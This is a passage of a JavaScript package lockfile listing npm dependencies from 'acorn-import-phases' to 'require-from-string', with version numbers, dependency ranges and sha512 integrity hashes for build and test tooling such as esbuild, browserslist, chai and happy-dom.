"acorn-import-phases": ["acorn-import-phases@1.0.4", "", { "peerDependencies": { "acorn": "^8.14.0" } }, "sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ=="],
|
||||
|
||||
"ajv": ["ajv@8.18.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A=="],
|
||||
|
||||
"ajv-formats": ["ajv-formats@2.1.1", "", { "dependencies": { "ajv": "^8.0.0" } }, "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA=="],
|
||||
|
||||
"ajv-keywords": ["ajv-keywords@5.1.0", "", { "dependencies": { "fast-deep-equal": "^3.1.3" }, "peerDependencies": { "ajv": "^8.8.2" } }, "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw=="],
|
||||
|
||||
"ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
|
||||
|
||||
"assertion-error": ["assertion-error@2.0.1", "", {}, "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA=="],
|
||||
|
||||
"baseline-browser-mapping": ["baseline-browser-mapping@2.10.18", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-VSnGQAOLtP5mib/DPyg2/t+Tlv65NTBz83BJBJvmLVHHuKJVaDOBvJJykiT5TR++em5nfAySPccDZDa4oSrn8A=="],
|
||||
|
||||
"braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="],
|
||||
|
||||
"browserslist": ["browserslist@4.28.2", "", { "dependencies": { "baseline-browser-mapping": "^2.10.12", "caniuse-lite": "^1.0.30001782", "electron-to-chromium": "^1.5.328", "node-releases": "^2.0.36", "update-browserslist-db": "^1.2.3" }, "bin": { "browserslist": "cli.js" } }, "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg=="],
|
||||
|
||||
"buffer-from": ["buffer-from@1.1.2", "", {}, "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="],
|
||||
|
||||
"cac": ["cac@6.7.14", "", {}, "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ=="],
|
||||
|
||||
"caniuse-lite": ["caniuse-lite@1.0.30001787", "", {}, "sha512-mNcrMN9KeI68u7muanUpEejSLghOKlVhRqS/Za2IeyGllJ9I9otGpR9g3nsw7n4W378TE/LyIteA0+/FOZm4Kg=="],
|
||||
|
||||
"chai": ["chai@5.3.3", "", { "dependencies": { "assertion-error": "^2.0.1", "check-error": "^2.1.1", "deep-eql": "^5.0.1", "loupe": "^3.1.0", "pathval": "^2.0.0" } }, "sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw=="],
|
||||
|
||||
"chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
|
||||
|
||||
"check-error": ["check-error@2.1.3", "", {}, "sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA=="],
|
||||
|
||||
"chrome-trace-event": ["chrome-trace-event@1.0.4", "", {}, "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ=="],
|
||||
|
||||
"clone-deep": ["clone-deep@4.0.1", "", { "dependencies": { "is-plain-object": "^2.0.4", "kind-of": "^6.0.2", "shallow-clone": "^3.0.0" } }, "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ=="],
|
||||
|
||||
"color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="],
|
||||
|
||||
"color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="],
|
||||
|
||||
"colorette": ["colorette@2.0.20", "", {}, "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w=="],
|
||||
|
||||
"commander": ["commander@10.0.1", "", {}, "sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug=="],
|
||||
|
||||
"copy-webpack-plugin": ["copy-webpack-plugin@12.0.2", "", { "dependencies": { "fast-glob": "^3.3.2", "glob-parent": "^6.0.1", "globby": "^14.0.0", "normalize-path": "^3.0.0", "schema-utils": "^4.2.0", "serialize-javascript": "^6.0.2" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-SNwdBeHyII+rWvee/bTnAYyO8vfVdcSTud4EIb6jcZ8inLeWucJE0DnxXQBjlQ5zlteuuvooGQy3LIyGxhvlOA=="],
|
||||
|
||||
"cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="],
|
||||
|
||||
"debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
|
||||
|
||||
"deep-eql": ["deep-eql@5.0.2", "", {}, "sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q=="],
|
||||
|
||||
"electron-to-chromium": ["electron-to-chromium@1.5.335", "", {}, "sha512-q9n5T4BR4Xwa2cwbrwcsDJtHD/enpQ5S1xF1IAtdqf5AAgqDFmR/aakqH3ChFdqd/QXJhS3rnnXFtexU7rax6Q=="],
|
||||
|
||||
"enhanced-resolve": ["enhanced-resolve@5.20.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA=="],
|
||||
|
||||
"entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
|
||||
|
||||
"envinfo": ["envinfo@7.21.0", "", { "bin": { "envinfo": "dist/cli.js" } }, "sha512-Lw7I8Zp5YKHFCXL7+Dz95g4CcbMEpgvqZNNq3AmlT5XAV6CgAAk6gyAMqn2zjw08K9BHfcNuKrMiCPLByGafow=="],
|
||||
|
||||
"es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="],
|
||||
|
||||
"es-module-lexer": ["es-module-lexer@2.0.0", "", {}, "sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw=="],
|
||||
|
||||
"esbuild": ["esbuild@0.21.5", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.21.5", "@esbuild/android-arm": "0.21.5", "@esbuild/android-arm64": "0.21.5", "@esbuild/android-x64": "0.21.5", "@esbuild/darwin-arm64": "0.21.5", "@esbuild/darwin-x64": "0.21.5", "@esbuild/freebsd-arm64": "0.21.5", "@esbuild/freebsd-x64": "0.21.5", "@esbuild/linux-arm": "0.21.5", "@esbuild/linux-arm64": "0.21.5", "@esbuild/linux-ia32": "0.21.5", "@esbuild/linux-loong64": "0.21.5", "@esbuild/linux-mips64el": "0.21.5", "@esbuild/linux-ppc64": "0.21.5", "@esbuild/linux-riscv64": "0.21.5", "@esbuild/linux-s390x": "0.21.5", "@esbuild/linux-x64": "0.21.5", "@esbuild/netbsd-x64": "0.21.5", "@esbuild/openbsd-x64": "0.21.5", "@esbuild/sunos-x64": "0.21.5", "@esbuild/win32-arm64": "0.21.5", "@esbuild/win32-ia32": "0.21.5", "@esbuild/win32-x64": "0.21.5" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw=="],
|
||||
|
||||
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
|
||||
|
||||
"eslint-scope": ["eslint-scope@5.1.1", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^4.1.1" } }, "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw=="],
|
||||
|
||||
"esrecurse": ["esrecurse@4.3.0", "", { "dependencies": { "estraverse": "^5.2.0" } }, "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag=="],
|
||||
|
||||
"estraverse": ["estraverse@4.3.0", "", {}, "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="],
|
||||
|
||||
"estree-walker": ["estree-walker@3.0.3", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g=="],
|
||||
|
||||
"events": ["events@3.3.0", "", {}, "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q=="],
|
||||
|
||||
"expect-type": ["expect-type@1.3.0", "", {}, "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA=="],
|
||||
|
||||
"fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
|
||||
|
||||
"fast-glob": ["fast-glob@3.3.3", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.8" } }, "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg=="],
|
||||
|
||||
"fast-uri": ["fast-uri@3.1.0", "", {}, "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA=="],
|
||||
|
||||
"fastest-levenshtein": ["fastest-levenshtein@1.0.16", "", {}, "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg=="],
|
||||
|
||||
"fastq": ["fastq@1.20.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw=="],
|
||||
|
||||
"fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="],
|
||||
|
||||
"find-up": ["find-up@4.1.0", "", { "dependencies": { "locate-path": "^5.0.0", "path-exists": "^4.0.0" } }, "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw=="],
|
||||
|
||||
"flat": ["flat@5.0.2", "", { "bin": { "flat": "cli.js" } }, "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ=="],
|
||||
|
||||
"fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||
|
||||
"function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
|
||||
|
||||
"glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="],
|
||||
|
||||
"glob-to-regexp": ["glob-to-regexp@0.4.1", "", {}, "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw=="],
|
||||
|
||||
"globby": ["globby@14.1.0", "", { "dependencies": { "@sindresorhus/merge-streams": "^2.1.0", "fast-glob": "^3.3.3", "ignore": "^7.0.3", "path-type": "^6.0.0", "slash": "^5.1.0", "unicorn-magic": "^0.3.0" } }, "sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA=="],
|
||||
|
||||
"graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
|
||||
|
||||
"happy-dom": ["happy-dom@15.11.7", "", { "dependencies": { "entities": "^4.5.0", "webidl-conversions": "^7.0.0", "whatwg-mimetype": "^3.0.0" } }, "sha512-KyrFvnl+J9US63TEzwoiJOQzZBJY7KgBushJA8X61DMbNsH+2ONkDuLDnCnwUiPTF42tLoEmrPyoqbenVA5zrg=="],
|
||||
|
||||
"has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
|
||||
|
||||
"hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="],
|
||||
|
||||
"ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="],
|
||||
|
||||
"import-local": ["import-local@3.2.0", "", { "dependencies": { "pkg-dir": "^4.2.0", "resolve-cwd": "^3.0.0" }, "bin": { "import-local-fixture": "fixtures/cli.js" } }, "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA=="],
|
||||
|
||||
"interpret": ["interpret@3.1.1", "", {}, "sha512-6xwYfHbajpoF0xLW+iwLkhwgvLoZDfjYfoFNu8ftMoXINzwuymNLd9u/KmwtdT2GbR+/Cz66otEGEVVUHX9QLQ=="],
|
||||
|
||||
"is-core-module": ["is-core-module@2.16.1", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w=="],
|
||||
|
||||
"is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="],
|
||||
|
||||
"is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="],
|
||||
|
||||
"is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="],
|
||||
|
||||
"is-plain-object": ["is-plain-object@2.0.4", "", { "dependencies": { "isobject": "^3.0.1" } }, "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og=="],
|
||||
|
||||
"isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
|
||||
|
||||
"isobject": ["isobject@3.0.1", "", {}, "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="],
|
||||
|
||||
"jest-worker": ["jest-worker@27.5.1", "", { "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } }, "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg=="],
|
||||
|
||||
"json-parse-even-better-errors": ["json-parse-even-better-errors@2.3.1", "", {}, "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="],
|
||||
|
||||
"json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="],
|
||||
|
||||
"kind-of": ["kind-of@6.0.3", "", {}, "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="],
|
||||
|
||||
"loader-runner": ["loader-runner@4.3.1", "", {}, "sha512-IWqP2SCPhyVFTBtRcgMHdzlf9ul25NwaFx4wCEH/KjAXuuHY4yNjvPXsBokp8jCB936PyWRaPKUNh8NvylLp2Q=="],
|
||||
|
||||
"locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="],
|
||||
|
||||
"loupe": ["loupe@3.2.1", "", {}, "sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ=="],
|
||||
|
||||
"magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
||||
|
||||
"merge-stream": ["merge-stream@2.0.0", "", {}, "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="],
|
||||
|
||||
"merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
|
||||
|
||||
"micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="],
|
||||
|
||||
"mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
|
||||
|
||||
"mime-types": ["mime-types@2.1.35", "", { "dependencies": { "mime-db": "1.52.0" } }, "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw=="],
|
||||
|
||||
"ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
|
||||
|
||||
"nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
|
||||
|
||||
"neo-async": ["neo-async@2.6.2", "", {}, "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw=="],
|
||||
|
||||
"node-releases": ["node-releases@2.0.37", "", {}, "sha512-1h5gKZCF+pO/o3Iqt5Jp7wc9rH3eJJ0+nh/CIoiRwjRxde/hAHyLPXYN4V3CqKAbiZPSeJFSWHmJsbkicta0Eg=="],
|
||||
|
||||
"normalize-path": ["normalize-path@3.0.0", "", {}, "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="],
|
||||
|
||||
"p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
|
||||
|
||||
"p-locate": ["p-locate@4.1.0", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="],
|
||||
|
||||
"p-try": ["p-try@2.2.0", "", {}, "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="],
|
||||
|
||||
"path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
|
||||
|
||||
"path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="],
|
||||
|
||||
"path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="],
|
||||
|
||||
"path-type": ["path-type@6.0.0", "", {}, "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ=="],
|
||||
|
||||
"pathe": ["pathe@1.1.2", "", {}, "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ=="],
|
||||
|
||||
"pathval": ["pathval@2.0.1", "", {}, "sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ=="],
|
||||
|
||||
"picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
|
||||
|
||||
"picomatch": ["picomatch@2.3.2", "", {}, "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA=="],
|
||||
|
||||
"pkg-dir": ["pkg-dir@4.2.0", "", { "dependencies": { "find-up": "^4.0.0" } }, "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ=="],
|
||||
|
||||
"postcss": ["postcss@8.5.10", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ=="],
|
||||
|
||||
"queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
|
||||
|
||||
"randombytes": ["randombytes@2.1.0", "", { "dependencies": { "safe-buffer": "^5.1.0" } }, "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ=="],
|
||||
|
||||
"rechoir": ["rechoir@0.8.0", "", { "dependencies": { "resolve": "^1.20.0" } }, "sha512-/vxpCXddiX8NGfGO/mTafwjq4aFa/71pvamip0++IQk3zG8cbCj0fifNPrjjF1XMXUne91jL9OoxmdykoEtifQ=="],
|
||||
|
||||
"require-from-string": ["require-from-string@2.0.2", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="],
|
||||
|
||||
